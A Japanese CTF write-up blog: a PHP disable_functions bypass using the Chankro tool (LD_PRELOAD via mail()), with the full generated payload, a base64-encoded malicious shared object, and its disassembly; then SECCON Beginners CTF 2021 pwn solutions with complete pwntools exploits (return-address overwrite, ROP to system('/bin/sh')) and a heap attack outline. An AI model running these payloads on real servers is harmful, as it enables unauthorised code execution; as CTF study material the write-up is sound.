$valにはユーザが任意の値を入れることができるため、evalによって任意のPHPが実行可能である。 しかし、問題環境のphpinfoを見るとdisable_functionsによってsystem関数やshell_exec 関数などが使用不可となっているため、安易なコマンド実行はできない。

このような制限はあるもののphpコードが実行可能な場合で、かつmail関数、putenv関数の実行、ファイルアップロードが可能な場合に攻撃可能となる手法が知られている。

上記writeupのreferenceにもあるこちらのサイトの解説にもある通り、

How to bypass disable_functions and open_basedir |Cybersecurity | Tarlogic

phpのmail関数ではsendmailという実行バイナリを呼ぶためにexecve()システムコールを発行している。
これを利用し、mail関数の呼び出し前に、putenv()を使用してロードするライブラリをLD_PRELOAD環境変数にセットすることで、sendmailの実行コンテキストで使用するライブラリを指定することができる。そしてファイルアップロードが可能な場合、自作のライブラリを指定することで関数をフックすることができるという具合である。

自作ライブラリを作成するのは手間であるが、すでに先人がこの手法で使えるツールを作成している。これがChankroと呼ばれるツールである。

github.com

Chankroを使ってみる

python2で使用できるみたいで、--inputで最終的に実行したいスクリプト、--outputで攻撃過程で実行するphpのファイル名を指定する。
今回は/opt/readflagの実行結果を参照したいため以下の1行のスクリプト(rf.sh)を作成、--inputに指定した。

/opt/readflag > /var/www/html/km2_flag

実行

$ python2 ./chankro.py --arch 64 --input rf.sh --output km2.php --path /var/www/html

作成されたkm2.phpを見てみる

<?php
 $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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';
$meterpreter = 'L29wdC9yZWFkZmxhZyA+IC92YXIvd3d3L2h0bWwva20yCg==';
file_put_contents('/var/www/html/chankro.so', base64_decode($hook));
file_put_contents('/var/www/html/acpid.socket', base64_decode($meterpreter));
putenv('CHANKRO=/var/www/html/acpid.socket');
putenv('LD_PRELOAD=/var/www/html/chankro.so');
mail('a','a','a','a');?>

生成されたphp内では2つのファイルをアップロードしている。それぞれbase64でコードし内容を見てみよう。
/var/www/html/acpid.socketは--inputで指定した1行スクリプトと全く同一である。
ファイル名はおそらくこのツール自体がpentester向けに作られたものであるためreverse shellを行うコマンドを想定しているのだと予想する。
もう一方の/var/www/html/chankro.soをobjdumpでみると以下なバイナリであった。

objdump実行結果(一部抜粋)

...
00000000000008e0 <pwn>:
 8e0:   55                      push   rbp
 8e1:   48 89 e5                mov    rbp,rsp
 8e4:   48 8d 3d 7a 00 00 00    lea    rdi,[rip+0x7a]        # 965 <_fini+0x9>
 8eb:   e8 50 fe ff ff          call   740 <getenv@plt>
 8f0:   be ff 01 00 00          mov    esi,0x1ff
 8f5:   48 89 c7                mov    rdi,rax
 8f8:   e8 93 fe ff ff          call   790 <chmod@plt>
 8fd:   48 8d 3d 61 00 00 00    lea    rdi,[rip+0x61]        # 965 <_fini+0x9>
 904:   e8 37 fe ff ff          call   740 <getenv@plt>
 909:   48 89 c7                mov    rdi,rax
 90c:   e8 4f fe ff ff          call   760 <system@plt>
 911:   90                      nop
 912:   5d                      pop    rbp
 913:   c3                      ret    

0000000000000914 <daemonize>:
 914:   55                      push   rbp
 915:   48 89 e5                mov    rbp,rsp
 918:   be 01 00 00 00          mov    esi,0x1
 91d:   bf 01 00 00 00          mov    edi,0x1
 922:   e8 59 fe ff ff          call   780 <signal@plt>
 927:   e8 94 fe ff ff          call   7c0 <fork@plt>
 92c:   85 c0                   test   eax,eax
 92e:   74 0a                   je     93a <daemonize+0x26>
 930:   bf 00 00 00 00          mov    edi,0x0
 935:   e8 76 fe ff ff          call   7b0 <exit@plt>
 93a:   90                      nop
 93b:   5d                      pop    rbp
 93c:   c3                      ret    

000000000000093d <preloadme>:
 93d:   55                      push   rbp
 93e:   48 89 e5                mov    rbp,rsp
 941:   48 8d 3d 25 00 00 00    lea    rdi,[rip+0x25]        # 96d <_fini+0x11>
 948:   e8 53 fe ff ff          call   7a0 <unsetenv@plt>
 94d:   e8 fe fd ff ff          call   750 <daemonize@plt>
 952:   e8 19 fe ff ff          call   770 <pwn@plt>
 957:   90                      nop
 958:   5d                      pop    rbp
 959:   c3                      ret    
...

またstrings ./chankro.so実行結果

    50d GLIBC_2.2.5
    965 CHANKRO
    96d LD_PRELOAD
    9e7 ;*3$"

関数名preloadmeからもこの関数がロードする際に実行されるのであろう。 preloadme内ではunsetenv("LD_PRELOAD");daemonize();pwn();と順次関数を読んでいる。
pwn内ではchmod(getenv("CHANKRO"), 0x1ff); system(getenv("CHANKRO"));が実行されている。すなわちchmod("/var/www/html/acpid.socket"); system("/var/www/html/acpid.socket");が実行されていることがわかる。

今回の問題では$valにfile_put_content("/var/www/html/km2.php", "<?php (km2.phpのコード) ?>")をセットしevalで実行、/var/www/html/km2.phpにアクセス、/var/www/html/km2_flagでflagが取得できる。

バイバイ

54チームも解いていたから、webの人からするとこれは結構有名なのか。
ちゃんと想定解のemallocのUAFもやらなきゃなぁ

SECCON Beginners CTF 2021 Writeup

初めに

SECCON Beginners CTF 2021にチームKUDoSで参加しました。初心者階級日本1位です。(ソロで上位来る人いっぱいいるのでこれは嘘です)

自分が解いたpwn全問とおまけでmiscについて書きます。

ソルバと配布バイナリはここに置いておきます。

github.com

rewriter(pwn)

よくわかるstackのダンプまで表示されるので、return アドレスを書き換えましょう。 書き込む値ですが、flagを出力してくれるwin関数が用意されているのでそのアドレスで良さそうです。

#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "rewriter.quals.beginners.seccon.jp"
PORT = 4103

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = elf.symbols["win"]

def exploit():
    conn.recvuntil("rbp\n")
    conn.recvuntil("0x")
    target = int(conn.recvuntil(" "),16)

    conn.sendlineafter("> ", hex(target))
    conn.sendlineafter("= ", hex(addr_win))
    conn.interactive()

if __name__ == "__main__":
    exploit()

beginners_rop(pwn)

自明なgetsによるstack overflowの脆弱性があります。

putsを利用してlibcのアドレスリークをしながらmain関数に戻り、再度system("/bin/sh")を呼び出すようなropを組んでやりましょう。

この時rspがアラインメントされていないと(末尾4byteが0x8など)プログラムが落ちるのでret;だけのgadgetを挟んで調節してください。

#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'
    
FILE_NAME = "./chall"
HOST = "beginners-rop.quals.beginners.seccon.jp"
PORT = 4102

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
plt_puts = elf.plt["puts"]
got_puts = elf.got["puts"]
rdi_ret = 0x401283
only_ret = 0x401284
#
libc = ELF('./libc-2.27.so')
off_puts = libc.symbols["puts"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def exploit():
    buflen = 0x100+8
    payload = b"A"*buflen
    payload += p64(rdi_ret)
    payload += p64(got_puts)
    payload += p64(plt_puts)
    payload += p64(addr_main)
    conn.sendline(payload)
    conn.recvline()
    libc_puts = u64(conn.recvline()[:-1]+b"\x00\x00")
    libc_base = libc_puts - off_puts
    libc_system = libc_base + off_system
    libc_binsh = libc_base + off_binsh
    print(hex(libc_puts))
    
    payload = b"A"*buflen
    payload += p64(only_ret) # to avoid segmentation fault
    payload += p64(rdi_ret)
    payload += p64(libc_binsh)
    payload += p64(libc_system)
    conn.sendline(payload)

    conn.interactive()  

if __name__ == "__main__":
    exploit()   

uma_catch(pwn)

いわゆるheap問ですね。
format string attackとuse after freeの脆弱性があります。
fsaだけでもshell起動できそうかな、と思ったのですが、文字列の長さが十分ではないため、fsaはlibcアドレスのリークに使い、あとはuafでtcache poisoningを行いましょう。

tcacheを利用した攻撃手法は過去のbeginners CTFでも出題されています。

SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ

SECCON Beginners CTF 2019のWriteup - CTFするぞ

ここら辺の説明がわかりやすいと思います。
ただtcache double freeについてはlibc2.29以降で対策がされたので(libc2.27でもものによってはパッチが当たっているらしい)、すでに繋がれたchunkのリストを書き換えるtcache poisoningと呼ばれている手法(名前はあまり覚えていないが多分そう)で攻撃を行います。

  • umaの名前に"%11$p"を入力してlibc_start_mainのアドレスをリーク
